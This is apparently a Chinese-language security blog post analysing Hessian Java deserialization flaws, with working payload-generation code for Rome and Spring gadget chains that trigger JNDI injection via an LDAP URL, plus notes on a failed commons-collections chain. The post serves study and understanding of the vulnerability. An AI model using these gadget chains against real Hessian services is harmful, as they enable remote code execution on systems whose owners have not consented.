Hessian反序列化漏洞

前言

无。


Hessian

简介

Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。

可以在 pom.xml 中加入依赖来使用 Hessian:

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

简单的序列化和反序列化代码,Data 是个简单的继承序列化接口的类:

1
2
3
4
5
6
7
8
9
10
11
12
public class App {
public static void main( String[] args ) throws Exception {
Data data = new Data("Twings");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.writeObject(data);
byte[] serializedData = bos.toByteArray();
ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
HessianInput hi = new HessianInput(is);
hi.readObject();
}
}

Hessian 不会调用序列化类的 readObject 方法,它会调用 readResolve 方法, 而这个方法一般是用在单例模式中的。

Hessian 在恢复对象的属性的时候,不会调用该类的 setter,恢复方式是调用 _unsafe.putObject。

Hessian 会将数据序列化为一个 Map,序列化之后的数据大致如下(URL 编码后):

1
Mt%00%0Astudy.DataS%00%04dataS%00%06Twingsz

反序列化漏洞

Hessian 反序列化同样存在漏洞,不过入口点与 Java 原生序列化的 readObject 方法不同,它的入口点在对 Map 类型反序列化处理时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Object readMap(AbstractHessianInput in) throws IOException {
Map map;

if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}

in.addRef(map);

while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}

in.readEnd();

return map;
}

这里会调用 HashMap 的 put 方法,换而言之就是会调用 key 的 hashcode 方法,所以只要找到一条以 hashcode 开始的利用链,就可以完成一次 Hessian 反序列化攻击。

marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。

不过这个工具的生成流程着实比较复杂,看起来要麻烦一些。

Gadgets - Rome

依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.24</version>
</dependency>

利用链

  1. HashMap,put -> hash
  2. EqualsBean,hashCode -> beanHashCode
  3. ToStringBean,toString -> getter.invoke
  4. JdbcRowSetImpl,getDatabaseMetaData -> connect
  5. JNDI 注入

漏洞利用

可以仿照 apache-commons-collections 的 HashSet 这个 Gadget 的反射生成方式来生成 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

public static void main( String[] args ) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap hashMap = new HashMap<>(1);
hashMap.put("replacement", "Twings");
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode = hashMapTable[1];
setFieldValue(hashMapNode, "key", equalsBean);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.writeObject(hashMap);
byte[] serializedData = bos.toByteArray();
ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
HessianInput hi = new HessianInput(is);
System.out.println(java.net.URLEncoder.encode(new String(serializedData)));
hi.readObject();
}

Gadges - SpringPartiallyComparableAdvisorHolder

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>

利用链

  1. HashMap,put -> putVal -> equals
    这里需要 hash 冲突,所以选择两个相同的类
  2. HotSwappableTargetSource,equals -> equals
  3. XString,equals -> toString
  4. PartiallyComparableAdvisorHolder,toString -> getOrder
  5. AspectJPointcutAdvisor,getOrder -> getOrder
  6. AspectJAroundAdvice,getOrder -> getOrder
  7. BeanFactoryAspectInstanceFactory,getOrder -> getType
  8. SimpleJndiBeanFactory,getType -> doGetType -> doGetSingleton -> lookup
  9. JNDI 注入

漏洞利用

这里的生成比较复杂,反射赋值的时候需要从父类中获取 Field,还有则是序列化的时候需要设置允许不继承 Serializable 接口:

1
2
3
4
5
6
7
package study;

import com.caucho.hessian.io.SerializerFactory;

public class AllowNonSerializableFactory extends SerializerFactory {

}

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = null;
try {
field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
}catch ( NoSuchFieldException e ) {
if (!obj.getClass().getSuperclass().equals(Object.class)) {
field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
}
}
if (field != null) {
field.set(obj, value);
}
}

private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

private static Object createWithoutConstructor(Class clazz) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Constructor constructor = Object.class.getDeclaredConstructor();
constructor.setAccessible(true);
Constructor ctor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor);
return ctor.newInstance();
}

public static void main( String[] args ) throws Exception {

HashMap hashMap = new HashMap<>();
hashMap.put("replacement1", "Twings");
hashMap.put("replacement2", "Aluvion");

SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

BeanFactoryAspectInstanceFactory beanFactoryAspectInstanceFactory = (BeanFactoryAspectInstanceFactory)createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setFieldValue(beanFactoryAspectInstanceFactory, "name", "ldap://127.0.0.1:1389/Exploit");

AbstractAspectJAdvice aspectJAroundAdvice = (AbstractAspectJAdvice)createWithoutConstructor(AspectJAroundAdvice.class);
setFieldValue(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);

AspectJPointcutAdvisor aspectJPointcutAdvisor = (AspectJPointcutAdvisor)createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);

Object partiallyComparableAdvisorHolder = createWithoutConstructor(Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"));
setFieldValue(partiallyComparableAdvisorHolder, "advisor", aspectJPointcutAdvisor);

HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(partiallyComparableAdvisorHolder);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("rushB"));
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode0 = hashMapTable[5];
setFieldValue(hashMapNode0, "key", hotSwappableTargetSource1);
Object hashMapNode1 = hashMapTable[10];
setFieldValue(hashMapNode1, "key", hotSwappableTargetSource2);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
AllowNonSerializableFactory serializableFactory = new AllowNonSerializableFactory();
serializableFactory.setAllowNonSerializable(true);
ho.setSerializerFactory(serializableFactory);
ho.writeObject(hashMap);
byte[] serializedData = bos.toByteArray();
ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
HessianInput hi = new HessianInput(is);
System.out.println(java.net.URLEncoder.encode(new String(serializedData)));
hi.readObject();
}

Gadgets - SpringAbstractBeanFactoryPointcutAdvisor

与上一条类似,触发 AbstractPointcutAdvisor 的 equals 方法,接上 SimpleJndiBeanFactory 的 getBean 然后进入 lookup,JNDI 注入。

Gadgets - 其他两条

懒得仔细看了,看起来比较简单。


后记

尝试将 apache commons collections 的利用链修改后使用,结果发现 Map 的反序列化有点问题,利用失败,具体原因就是在获取 Deserializer 的时候,会因为无法获取到 LazyMap 的 Deserializer 来到这一步:

1
2
3
else if (Map.class.isAssignableFrom(cl)) {
deserializer = new MapDeserializer(cl);
}

而在 MapDeserializer 类实例化的时候,会传入要反序列化类的无参构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public MapDeserializer(Class<?> type)
{
if (type == null)
type = HashMap.class;

_type = type;

Constructor<?> []ctors = type.getConstructors();
for (int i = 0; i < ctors.length; i++) {
if (ctors[i].getParameterTypes().length == 0)
_ctor = ctors[i];
}

if (_ctor == null) {
try {
_ctor = HashMap.class.getConstructor(new Class[0]);
} catch (Exception e) {
throw new IllegalStateException(e);
}
}
}

而 LazyMap 类是没有无参构造方法的,所以最后会将构造方法设置为 HashMap 的构造方法,最后到了 readMap 方法的实例化时,实例化出来的就是个 HashMap 类,而不是我们需要的 LazyMap。


参考文章:

https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html

https://paper.seebug.org/1131


Hessian反序列化漏洞
http://yoursite.com/2020/07/07/Hessian反序列化漏洞/
作者
Aluvion
发布于
2020年7月7日
许可协议